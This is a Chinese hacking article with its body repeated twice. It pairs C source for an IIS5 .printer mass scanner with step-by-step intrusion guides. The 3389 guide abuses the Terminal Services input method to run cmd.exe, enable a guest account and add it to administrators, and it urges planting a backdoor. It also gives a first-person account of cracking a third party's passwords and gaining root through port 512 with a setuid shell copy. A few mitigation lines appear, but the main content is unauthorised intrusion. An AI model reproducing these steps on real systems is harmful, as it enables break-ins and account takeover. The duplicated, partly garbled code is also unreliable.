80端口、512端口、3389端口……入侵實例
互聯(lián)網 發(fā)布時間:2008-10-08 19:37:18 作者:佚名
我要評論
有很多網站為了安全起見,在WEB Server前面架了防火墻,或者做了TCP/IP過濾,對外只開放TCP 80端口。從入侵者角度來看,要入侵那么從80上跑的CGI入手是比較可行的,當然也可以用別的辦法,例如旁敲側擊,呵呵。從網管角度來看,一是要保證CGI的安全性,另外網絡的整體安全
有很多網站為了安全起見,在WEB Server前面架了防火墻,或者做了TCP/IP過濾,對外只開放TCP 80端口。從入侵者角度來看,要入侵那么從80上跑的CGI入手是比較可行的,當然也可以用別的辦法,例如旁敲側擊,呵呵。從網管角度來看,一是要保證CGI的安全性,另外網絡的整體安全性也是很重要的。針對基于80端口入侵、防范而出的CGI掃描器數(shù)不勝數(shù),但基本上原理都一樣。
CGI掃描器原理說起來其實非常簡單,可以用四句話來概括:連接目標WEB SERVER;發(fā)送一個特殊的請求;接收目標服務器返回數(shù)據(jù);根據(jù)返回數(shù)據(jù)判斷目標服務器是否有此CGI漏洞。
當管理的服務器達到一定數(shù)量的時候,手工檢測自己的服務器是否存在各種各樣的CGI漏洞,那就太消耗時間和精力了,所以一個網管手上有個比較好用的CGI漏洞掃描器還是必要的。OK!今天我們就自己來動手用C寫一個簡單的CGI掃描器,幫助自己在日常工作中檢測服務器:))
源代碼如下,很多地方我都加了注釋,別嫌我煩哦:))編譯好的程序可以從http://eyas.3322.net/program/cgicheck.exe下載。
/************************************************************************* Module:CGICheck.cpp Author:ey4s Date:2001/5/16說明:這是一個Console下多線程,帶有進度顯示的CGI掃描器的模板,更改一下szSign和SendBuff就可以掃描其他CGI漏洞,設置了連接、發(fā)送、接收超時,速度還可以哦。希望可以幫助到admins檢測自己的服務器:))
*************************************************************************/ #i nclude
#define iPort 80//目標Web Server端口#define szSign “500 13rnServer: Microsoft-IIS/5.0”//根據(jù)此標志來檢查目標是否有漏洞
#pragma comment(lib,“ws2_32.lib”)
/////////////////////////////////////////////////////////////////////////// // //定義&初始化全局變量// char *SendBuff=“GET /NULL.printern”,//發(fā)送的請求buff CurrentTarget[52]=,//存放最后一個線程將掃描的目標turn[4][2]=;//顯示進度時的字符int SendBuffLen=strlen(SendBuff),//發(fā)送的buff長度iConnTimeout,//TCP Connect TimeOut ii=0,//掃描進度iTotal;//服務器總數(shù)HANDLE hSemaphore=NULL,//信標內核對象句柄,用來控制線程數(shù)量hStdout;//console標準輸出句柄,做進度顯示的時候用的struct timeval timeout;//連接、發(fā)送和接收的超時值DWORD SleepTime;//每個一個線程后等待的時間/* SleepTime值根據(jù)用戶輸入的線程數(shù)量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]來計算。確保在CONNTIMEO時間左右開ThreadNum個線程。這樣在CONNTIMEO時間后,所開的線程開始陸續(xù)超時退出,可以繼續(xù)穩(wěn)定的開線程,可以有效的保證同時有ThreadNum個線程在運行。
*/ /////////////////////////////////////////////////////////////////////////// void ShowError(char *);//顯示出錯信息函數(shù),可以寫完善一些,偶偷懶了:)
BOOL ResetCursor(void);//重置光標位置,線程輸出的時候調用的DWORD WINAPI ShowProInfo(LPVOID);//顯示進度信息DWORD WINAPI scan(LPVOID);//掃描函數(shù)void usage(char *);//幫助函數(shù)/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
{ HANDLE hThread=NULL;//線程句柄DWORD dwThreadID;//線程ID struct sockaddr_in sa;int i,MaxThread;//最大線程數(shù)量WSADATA wsd;long PreviousCount;clock_t start,end;//程序運行的起始和結束時間double duration;
//檢查用戶輸入?yún)?shù)if(argc!=5)
{ usage(argv[0]);return 1;} //get target range int StartNet=inet_addr(argv[1]);int StopNet=inet_addr(argv[2]);int StartHost=ntohl(StartNet);int StopHost=ntohl(StopNet);//取得線程數(shù)量MaxThread=atoi(argv[3]);//取得conn超時時間iConnTimeout=atoi(argv[4]);//檢查參數(shù)合法性if((iConnTimeout>6) || (iConnTimeout500) ||(StopHost { usage(argv[0]);return 1;} //計算時間SleepTime=1000*iConnTimeout/MaxThread;//設置連接超時值timeout.tv_sec = iConnTimeout;timeout.tv_usec =0;__try { //開始計時start=clock();//加載winsock庫if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{ ShowError(“WSAStartup”);__leave;} //創(chuàng)建信標內核對象句柄hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);if(hSemaphore==NULL)
{ ShowError(“CreateSemaphore”);__leave;} //取得console標準輸出句柄hStdout=GetStdHandle(STD_OUTPUT_HANDLE);if(hStdout==INVALID_HANDLE_)
{ ShowError(“GetStdHandle”);__leave;} //設置目標總數(shù)iTotal=StopHost-StartHost;//創(chuàng)建進度顯示線程hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);if(hThread==NULL)
{ ShowError(“1 CreateThread”);__leave;} //關閉句柄CloseHandle(hThread);//循環(huán)創(chuàng)建掃描線程for(i=StartHost;i
break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //掃描函數(shù)// DWORD WINAPI scan(LPVOID lp)
{ int i=(int)lp,iErr;struct sockaddr_in server;SOCKET s=INVALID_SOCKET;char RecvBuff[1024]=,*ptr;int RecvBuffLen=sizeof(RecvBuff);u_long ul=1;//初始化為為非0值fd_set r,w;
//create socket s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s==INVALID_SOCKET)
{ printf(“nCreate socket failed:%d”,GetLastError());ExitProcess(1);} //fill the addr struct server.sin_family=AF_INET;server.sin_port=htons(iPort);server.sin_addr.S_un.S_addr=htonl(i);__try { //設置socket為非鎖定模式,ul為0值的話,那么soocket將被設置為鎖定模式iErr=ioctlsocket(s,F(xiàn)IONBIO,(unsigned long*)&ul);if(iErr==SOCKET_ERROR )
{ ResetCursor();ShowError(“ioctlsocket”);ExitProcess(1);} //printf(“n%X ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%X conn return,start select w”,i);//設置select參數(shù)FD_ZERO(&w);FD_SET(s, &w);//等待connect成功&socket可寫iErr=select(0, 0, &w, 0, &timeout);//printf(“n%X select w return %d”,i,iErr);//等待返回后,socket仍不可寫則退出if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select return w err,exit”,i);__leave;} //socket可寫則繼續(xù)else { //send buff to target //printf(“n%X send”,i);iErr=send(s,SendBuff,SendBuffLen,0);//printf(“n%X send return”,i);if(iErr==SOCKET_ERROR)
__leave;} //等待socket可讀FD_ZERO(&r);FD_SET(s, &r);//printf(“n%X start select r”,i);iErr=select(0, &r, 0, 0, &timeout);//printf(“n%X select r return %d”,i,iErr);if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%X start recv”,i);iErr=recv(s,RecvBuff,RecvBuffLen,0);//printf(“n%X recv ret”,i);if(iErr==SOCKET_ERROR)
__leave;} //verify buff ptr=strstr(RecvBuff,szSign);if(ptr!=NULL)
{ //線程輸出前要先調用ResetCursor函數(shù)ResetCursor();//輸出信息后務必加一個以上換行符號,輸出前請別加換行符號,以免顯示混亂printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
} __finally { if(!ReleaseSemaphore(hSemaphore,1,NULL))
ShowError(“thread ReleaseSemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
{ printf(“n%s v0.1 only can find IIS5 .Printer mapped”“nPower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnUsage:%s ”“nnNotice”“n StartIP StopIP ==>Don't forgot StopIP must large than StartIP ”“n ThreadNum ==>Thread number,please input between 1-500”“n CONNTIMEO ==>TCP connect timeout,please input between 2-6”“nnExample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在VC 6.0上編譯通過,在windows2000上運行良好:)
389端口的入侵3389端口的入侵3389端口的入侵
由于微軟對中國產品不付責任的態(tài)度,使得安裝了終端服務和全拼的w2k服務器存在著遠程登陸并能獲取超級用戶權限的嚴重漏洞。
其過程如下:
1.掃描3389 port終端服務默認;2.用終端客戶端程序進行連接;3.按ctrl shift調出全拼輸入法(其他似乎不行),點鼠標右鍵(如果其幫助菜單發(fā)灰,就趕快趕下家吧,人家打補丁了),點幫助,點輸入法入門;4.在“選項”菜單上點右鍵——>跳轉到URL“,輸入:c:winntsystem32cmd.exe.(如果不能確定NT系統(tǒng)目錄,則輸入:c:或d:……進行查找確定);5.選擇”保存到磁盤“選擇目錄:c:inetpubs,因實際上是對方服務器上文件自身的復制操作,所以這個過程很快就會完成;6.打開IE,輸入:http://ip/s/cmd.exe?/c dir怎么樣?有cmd.exe文件了吧?這我們就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我們的批文件內容是否如下:
net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“選項”菜單上點右鍵——>跳轉到URL“,輸入:c:inetpubsgo.bat ——>在磁盤當前位置執(zhí)行;12.呵呵,大功告成啦,這樣我們就激活了服務器的geust帳戶,密碼為:elise,超級用戶呢?。ㄎ蚁矚gguest而不是建立新帳戶,這樣似乎不易被發(fā)現(xiàn)些),這樣你就可用IPC$連接,想怎樣做就怎樣做了,當然,你也可用guest直接登陸到他的服務器,到他機器上去跳舞吧:-)
注意事項:1.當你用終端客戶端程序登陸到他的服務器時,你的所有操作不會在他的機器上反應出來,但如果他正打開了終端服務管理器,你就慘了了:(這時他能看到你所打開的進程id、程序映象,你的ip及機器名,并能發(fā)消息給你!
2.當你連接時,會加重對方服務器的負荷,非常容易造成對方死機和斷線,所以你的操作快點為妙。
3.盡快做好后門,暫時不要上傳任何程序,一是防止斷線,二是防止對方打上補丁!
個人觀點:1.在IE下,所擁有的只是iusr_machine權限,因而,你不要設想去做越權的事情,如啟動telnet、木馬等;2.url的跳轉下,你將擁有超級用戶的權限,好好利用吧3.跳轉到哪個目錄下,通常只能查看、執(zhí)行當前目錄的文件,不能進入到子目錄,如想進入,再跳一次吧?。海?
4.此法似乎與對方的防火墻無關哦!
5.據(jù)本人實際操作,發(fā)現(xiàn)極易斷線,但應與占用服務器資源無關。對方是384M RAM PIII,是靜態(tài)IP,主要是做數(shù)據(jù)庫服務器,RAID硬盤,SCSI CD ROM,開機18天了,02:00進去時,仍時常吊線。
堵漏辦法:1.打補?。?.刪掉全拼輸入法,用標準就成了嘛^_^;3.服務中關掉:Terminal Services,服務名稱:TermService,對應程序名:system32termsrv.exe;
512端口入侵
已經是第六十幾天了,我的Celeron 533仍不知疲倦的跑著JOHN……我是無意中注意到這個網站的,當時只是想看一下,方法是各位大蝦都會的FINGER,然后猜用戶口令進去的。進去之后PASSWD也沒有SHADOWN,直接就可以看到,該系統(tǒng)用的是Digital unix系統(tǒng),從PASSWD看得出里面的用戶只有兩個組:root和users,我猜中的就是一users級別的,發(fā)現(xiàn)這個級別的用戶幾乎沒有什么權限,TELNET上去后發(fā)現(xiàn)/USR/USERS/XXX是各用戶的HOME,而它們的屬性全是drwx——,也就是說這里的用戶是互不信任的關系(這一點大家在各免費主頁服務器上經??梢钥吹剑?,看來猜出再多用戶級口令也沒有用的。
root級的用戶只有兩名:root和shut.root我用john已跑了60多天,顯然不可能再跑出來了,但幸運的是shut口令已跑出來了。我毫不猶豫的telnet上去——然后,網站就關閉了!@#~!#^%,我真笨,怎么沒想到shut口令是干什么的?
網站很快就又開啟了,我發(fā)現(xiàn)shut口令還是沒改!這個網管是怎么當?shù)?,系統(tǒng)關了也不查一下原因!很顯然,這個網站上只有root是有水平的,但他與服務器可能不在同地,對于開、關機之類的事情不能直接操縱,與是給當?shù)氐牟僮鲉T一個root級帳號,然后在。profile文件中做了一個shell,使得帳號一登錄就自動關系統(tǒng)。看看系統(tǒng)這么周密的設計,我想root設計這個shell時絕對關掉了path,所以我不打算在優(yōu)先的path路徑中放一同名的shell來阻止它。我如果能改掉這個文件再telnet上去不就是root級了嗎?
但是shut的HOME目錄是drwx——,別的帳號根本進不去。沒關系,我試試ftp,530 user shut access denined(被拒絕),users組可以ftp上去同樣進不了shut目錄。而且該網站根本就沒有開WWW服務,怎么辦?為這個網站陸陸續(xù)續(xù)研究了許久,我總是樂觀的鼓勵自己,“起碼我已經知道幾十種進不去的方法了……”。“真正的黑客從來都是把困難當作樂趣,敞開的大門你請他進他都不進呢!”如此六十多天過去了,只到有一天……
我再一次用haktek掃描該網站,結果如下:Port 21 found. Desc='ftp' Port 23 found. Desc='telnet' Port 25 found. Desc='smtp' Port 79 found. Desc='finger' Port 111 found. Desc='portmap/sunrpc' Port 512 found. Desc='biff/exec' Port 513 found. Desc='login/who' Port 514 found. Desc='shell/syslog' Port 515 found. Desc='printer' Port 1024 found. Port 1025 found. Port 1526 found. Port 1528 found.
一個以前一直沒有注意的Port 512引起我的注意,這個端口是什么時候開的?要知道它可以讓用戶不登錄就可以運行服務器上的命令?。?!趕緊試試!
打開一個軟件winrsh32,填入user和password,在命令中填上ls -la,點運行哇,文件全列出來了,剩下的就簡單了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那個破掉的user級帳號telnet,cd/tmp;。temp.當#映入眼簾時,心卻往下一沉,我突然感到一絲落寂……可惜這個root一世小心,卻毀在了讓shut可以使用512端口上??磥砥茐囊粋€世界總是比建立一個世界簡單……
39端口入侵139端口入侵139端口的入侵,主要是通過建立空連接,而獲得用戶名和共享名,接著用字典法或窮舉法來猜測ADMINISTRATORS的密碼,這樣可獲得最高權限。
解決方法:1、禁止匿名共享。
2、禁止管理共享。
1433端口入侵1433端口入侵1433端口的入侵,主要是利用MS SQL SERVER默認sa的密碼是空,通過遠程執(zhí)行命令而達到目的,或通過窮舉法猜測密碼
CGI掃描器原理說起來其實非常簡單,可以用四句話來概括:連接目標WEB SERVER;發(fā)送一個特殊的請求;接收目標服務器返回數(shù)據(jù);根據(jù)返回數(shù)據(jù)判斷目標服務器是否有此CGI漏洞。
當管理的服務器達到一定數(shù)量的時候,手工檢測自己的服務器是否存在各種各樣的CGI漏洞,那就太消耗時間和精力了,所以一個網管手上有個比較好用的CGI漏洞掃描器還是必要的。OK!今天我們就自己來動手用C寫一個簡單的CGI掃描器,幫助自己在日常工作中檢測服務器:))
源代碼如下,很多地方我都加了注釋,別嫌我煩哦:))編譯好的程序可以從http://eyas.3322.net/program/cgicheck.exe下載。
/************************************************************************* Module:CGICheck.cpp Author:ey4s Date:2001/5/16說明:這是一個Console下多線程,帶有進度顯示的CGI掃描器的模板,更改一下szSign和SendBuff就可以掃描其他CGI漏洞,設置了連接、發(fā)送、接收超時,速度還可以哦。希望可以幫助到admins檢測自己的服務器:))
*************************************************************************/ #i nclude
#define iPort 80//目標Web Server端口#define szSign “500 13rnServer: Microsoft-IIS/5.0”//根據(jù)此標志來檢查目標是否有漏洞
#pragma comment(lib,“ws2_32.lib”)
/////////////////////////////////////////////////////////////////////////// // //定義&初始化全局變量// char *SendBuff=“GET /NULL.printern”,//發(fā)送的請求buff CurrentTarget[52]=,//存放最后一個線程將掃描的目標turn[4][2]=;//顯示進度時的字符int SendBuffLen=strlen(SendBuff),//發(fā)送的buff長度iConnTimeout,//TCP Connect TimeOut ii=0,//掃描進度iTotal;//服務器總數(shù)HANDLE hSemaphore=NULL,//信標內核對象句柄,用來控制線程數(shù)量hStdout;//console標準輸出句柄,做進度顯示的時候用的struct timeval timeout;//連接、發(fā)送和接收的超時值DWORD SleepTime;//每個一個線程后等待的時間/* SleepTime值根據(jù)用戶輸入的線程數(shù)量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]來計算。確保在CONNTIMEO時間左右開ThreadNum個線程。這樣在CONNTIMEO時間后,所開的線程開始陸續(xù)超時退出,可以繼續(xù)穩(wěn)定的開線程,可以有效的保證同時有ThreadNum個線程在運行。
*/ /////////////////////////////////////////////////////////////////////////// void ShowError(char *);//顯示出錯信息函數(shù),可以寫完善一些,偶偷懶了:)
BOOL ResetCursor(void);//重置光標位置,線程輸出的時候調用的DWORD WINAPI ShowProInfo(LPVOID);//顯示進度信息DWORD WINAPI scan(LPVOID);//掃描函數(shù)void usage(char *);//幫助函數(shù)/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
{ HANDLE hThread=NULL;//線程句柄DWORD dwThreadID;//線程ID struct sockaddr_in sa;int i,MaxThread;//最大線程數(shù)量WSADATA wsd;long PreviousCount;clock_t start,end;//程序運行的起始和結束時間double duration;
//檢查用戶輸入?yún)?shù)if(argc!=5)
{ usage(argv[0]);return 1;} //get target range int StartNet=inet_addr(argv[1]);int StopNet=inet_addr(argv[2]);int StartHost=ntohl(StartNet);int StopHost=ntohl(StopNet);//取得線程數(shù)量MaxThread=atoi(argv[3]);//取得conn超時時間iConnTimeout=atoi(argv[4]);//檢查參數(shù)合法性if((iConnTimeout>6) || (iConnTimeout500) ||(StopHost { usage(argv[0]);return 1;} //計算時間SleepTime=1000*iConnTimeout/MaxThread;//設置連接超時值timeout.tv_sec = iConnTimeout;timeout.tv_usec =0;__try { //開始計時start=clock();//加載winsock庫if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{ ShowError(“WSAStartup”);__leave;} //創(chuàng)建信標內核對象句柄hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);if(hSemaphore==NULL)
{ ShowError(“CreateSemaphore”);__leave;} //取得console標準輸出句柄hStdout=GetStdHandle(STD_OUTPUT_HANDLE);if(hStdout==INVALID_HANDLE_)
{ ShowError(“GetStdHandle”);__leave;} //設置目標總數(shù)iTotal=StopHost-StartHost;//創(chuàng)建進度顯示線程hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);if(hThread==NULL)
{ ShowError(“1 CreateThread”);__leave;} //關閉句柄CloseHandle(hThread);//循環(huán)創(chuàng)建掃描線程for(i=StartHost;i
break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //掃描函數(shù)// DWORD WINAPI scan(LPVOID lp)
{ int i=(int)lp,iErr;struct sockaddr_in server;SOCKET s=INVALID_SOCKET;char RecvBuff[1024]=,*ptr;int RecvBuffLen=sizeof(RecvBuff);u_long ul=1;//初始化為為非0值fd_set r,w;
//create socket s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s==INVALID_SOCKET)
{ printf(“nCreate socket failed:%d”,GetLastError());ExitProcess(1);} //fill the addr struct server.sin_family=AF_INET;server.sin_port=htons(iPort);server.sin_addr.S_un.S_addr=htonl(i);__try { //設置socket為非鎖定模式,ul為0值的話,那么soocket將被設置為鎖定模式iErr=ioctlsocket(s,F(xiàn)IONBIO,(unsigned long*)&ul);if(iErr==SOCKET_ERROR )
{ ResetCursor();ShowError(“ioctlsocket”);ExitProcess(1);} //printf(“n%X ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%X conn return,start select w”,i);//設置select參數(shù)FD_ZERO(&w);FD_SET(s, &w);//等待connect成功&socket可寫iErr=select(0, 0, &w, 0, &timeout);//printf(“n%X select w return %d”,i,iErr);//等待返回后,socket仍不可寫則退出if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select return w err,exit”,i);__leave;} //socket可寫則繼續(xù)else { //send buff to target //printf(“n%X send”,i);iErr=send(s,SendBuff,SendBuffLen,0);//printf(“n%X send return”,i);if(iErr==SOCKET_ERROR)
__leave;} //等待socket可讀FD_ZERO(&r);FD_SET(s, &r);//printf(“n%X start select r”,i);iErr=select(0, &r, 0, 0, &timeout);//printf(“n%X select r return %d”,i,iErr);if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%X start recv”,i);iErr=recv(s,RecvBuff,RecvBuffLen,0);//printf(“n%X recv ret”,i);if(iErr==SOCKET_ERROR)
__leave;} //verify buff ptr=strstr(RecvBuff,szSign);if(ptr!=NULL)
{ //線程輸出前要先調用ResetCursor函數(shù)ResetCursor();//輸出信息后務必加一個以上換行符號,輸出前請別加換行符號,以免顯示混亂printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
} __finally { if(!ReleaseSemaphore(hSemaphore,1,NULL))
ShowError(“thread ReleaseSemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
{ printf(“n%s v0.1 only can find IIS5 .Printer mapped”“nPower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnUsage:%s ”“nnNotice”“n StartIP StopIP ==>Don't forgot StopIP must large than StartIP ”“n ThreadNum ==>Thread number,please input between 1-500”“n CONNTIMEO ==>TCP connect timeout,please input between 2-6”“nnExample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在VC 6.0上編譯通過,在windows2000上運行良好:)
389端口的入侵3389端口的入侵3389端口的入侵
由于微軟對中國產品不付責任的態(tài)度,使得安裝了終端服務和全拼的w2k服務器存在著遠程登陸并能獲取超級用戶權限的嚴重漏洞。
其過程如下:
1.掃描3389 port終端服務默認;2.用終端客戶端程序進行連接;3.按ctrl shift調出全拼輸入法(其他似乎不行),點鼠標右鍵(如果其幫助菜單發(fā)灰,就趕快趕下家吧,人家打補丁了),點幫助,點輸入法入門;4.在“選項”菜單上點右鍵——>跳轉到URL“,輸入:c:winntsystem32cmd.exe.(如果不能確定NT系統(tǒng)目錄,則輸入:c:或d:……進行查找確定);5.選擇”保存到磁盤“選擇目錄:c:inetpubs,因實際上是對方服務器上文件自身的復制操作,所以這個過程很快就會完成;6.打開IE,輸入:http://ip/s/cmd.exe?/c dir怎么樣?有cmd.exe文件了吧?這我們就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我們的批文件內容是否如下:
net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“選項”菜單上點右鍵——>跳轉到URL“,輸入:c:inetpubsgo.bat ——>在磁盤當前位置執(zhí)行;12.呵呵,大功告成啦,這樣我們就激活了服務器的geust帳戶,密碼為:elise,超級用戶呢?。ㄎ蚁矚gguest而不是建立新帳戶,這樣似乎不易被發(fā)現(xiàn)些),這樣你就可用IPC$連接,想怎樣做就怎樣做了,當然,你也可用guest直接登陸到他的服務器,到他機器上去跳舞吧:-)
注意事項:1.當你用終端客戶端程序登陸到他的服務器時,你的所有操作不會在他的機器上反應出來,但如果他正打開了終端服務管理器,你就慘了了:(這時他能看到你所打開的進程id、程序映象,你的ip及機器名,并能發(fā)消息給你!
2.當你連接時,會加重對方服務器的負荷,非常容易造成對方死機和斷線,所以你的操作快點為妙。
3.盡快做好后門,暫時不要上傳任何程序,一是防止斷線,二是防止對方打上補丁!
個人觀點:1.在IE下,所擁有的只是iusr_machine權限,因而,你不要設想去做越權的事情,如啟動telnet、木馬等;2.url的跳轉下,你將擁有超級用戶的權限,好好利用吧3.跳轉到哪個目錄下,通常只能查看、執(zhí)行當前目錄的文件,不能進入到子目錄,如想進入,再跳一次吧?。海?
4.此法似乎與對方的防火墻無關哦!
5.據(jù)本人實際操作,發(fā)現(xiàn)極易斷線,但應與占用服務器資源無關。對方是384M RAM PIII,是靜態(tài)IP,主要是做數(shù)據(jù)庫服務器,RAID硬盤,SCSI CD ROM,開機18天了,02:00進去時,仍時常吊線。
堵漏辦法:1.打補?。?.刪掉全拼輸入法,用標準就成了嘛^_^;3.服務中關掉:Terminal Services,服務名稱:TermService,對應程序名:system32termsrv.exe;
512端口入侵
已經是第六十幾天了,我的Celeron 533仍不知疲倦的跑著JOHN……我是無意中注意到這個網站的,當時只是想看一下,方法是各位大蝦都會的FINGER,然后猜用戶口令進去的。進去之后PASSWD也沒有SHADOWN,直接就可以看到,該系統(tǒng)用的是Digital unix系統(tǒng),從PASSWD看得出里面的用戶只有兩個組:root和users,我猜中的就是一users級別的,發(fā)現(xiàn)這個級別的用戶幾乎沒有什么權限,TELNET上去后發(fā)現(xiàn)/USR/USERS/XXX是各用戶的HOME,而它們的屬性全是drwx——,也就是說這里的用戶是互不信任的關系(這一點大家在各免費主頁服務器上經??梢钥吹剑?,看來猜出再多用戶級口令也沒有用的。
root級的用戶只有兩名:root和shut.root我用john已跑了60多天,顯然不可能再跑出來了,但幸運的是shut口令已跑出來了。我毫不猶豫的telnet上去——然后,網站就關閉了!@#~!#^%,我真笨,怎么沒想到shut口令是干什么的?
網站很快就又開啟了,我發(fā)現(xiàn)shut口令還是沒改!這個網管是怎么當?shù)?,系統(tǒng)關了也不查一下原因!很顯然,這個網站上只有root是有水平的,但他與服務器可能不在同地,對于開、關機之類的事情不能直接操縱,與是給當?shù)氐牟僮鲉T一個root級帳號,然后在。profile文件中做了一個shell,使得帳號一登錄就自動關系統(tǒng)。看看系統(tǒng)這么周密的設計,我想root設計這個shell時絕對關掉了path,所以我不打算在優(yōu)先的path路徑中放一同名的shell來阻止它。我如果能改掉這個文件再telnet上去不就是root級了嗎?
但是shut的HOME目錄是drwx——,別的帳號根本進不去。沒關系,我試試ftp,530 user shut access denined(被拒絕),users組可以ftp上去同樣進不了shut目錄。而且該網站根本就沒有開WWW服務,怎么辦?為這個網站陸陸續(xù)續(xù)研究了許久,我總是樂觀的鼓勵自己,“起碼我已經知道幾十種進不去的方法了……”。“真正的黑客從來都是把困難當作樂趣,敞開的大門你請他進他都不進呢!”如此六十多天過去了,只到有一天……
我再一次用haktek掃描該網站,結果如下:Port 21 found. Desc='ftp' Port 23 found. Desc='telnet' Port 25 found. Desc='smtp' Port 79 found. Desc='finger' Port 111 found. Desc='portmap/sunrpc' Port 512 found. Desc='biff/exec' Port 513 found. Desc='login/who' Port 514 found. Desc='shell/syslog' Port 515 found. Desc='printer' Port 1024 found. Port 1025 found. Port 1526 found. Port 1528 found.
一個以前一直沒有注意的Port 512引起我的注意,這個端口是什么時候開的?要知道它可以讓用戶不登錄就可以運行服務器上的命令?。?!趕緊試試!
打開一個軟件winrsh32,填入user和password,在命令中填上ls -la,點運行哇,文件全列出來了,剩下的就簡單了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那個破掉的user級帳號telnet,cd/tmp;。temp.當#映入眼簾時,心卻往下一沉,我突然感到一絲落寂……可惜這個root一世小心,卻毀在了讓shut可以使用512端口上??磥砥茐囊粋€世界總是比建立一個世界簡單……
39端口入侵139端口入侵139端口的入侵,主要是通過建立空連接,而獲得用戶名和共享名,接著用字典法或窮舉法來猜測ADMINISTRATORS的密碼,這樣可獲得最高權限。
解決方法:1、禁止匿名共享。
2、禁止管理共享。
1433端口入侵1433端口入侵1433端口的入侵,主要是利用MS SQL SERVER默認sa的密碼是空,通過遠程執(zhí)行命令而達到目的,或通過窮舉法猜測密碼
相關文章
CC主要是用來攻擊頁面的,大家都有這樣的經歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06
Windows系統(tǒng)安全風險-本地NTLM重放提權
入侵者主要通過Potato程序攻擊擁有SYSTEM權限的端口偽造網絡身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權限,該安全風險微軟并不認為存在漏洞,所以2021-04-15
這篇文章主要介紹了文件上傳漏洞全面滲透分析小結,這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權,需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導致用戶信息泄露。2016-07-27- 國家正在修正關于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06


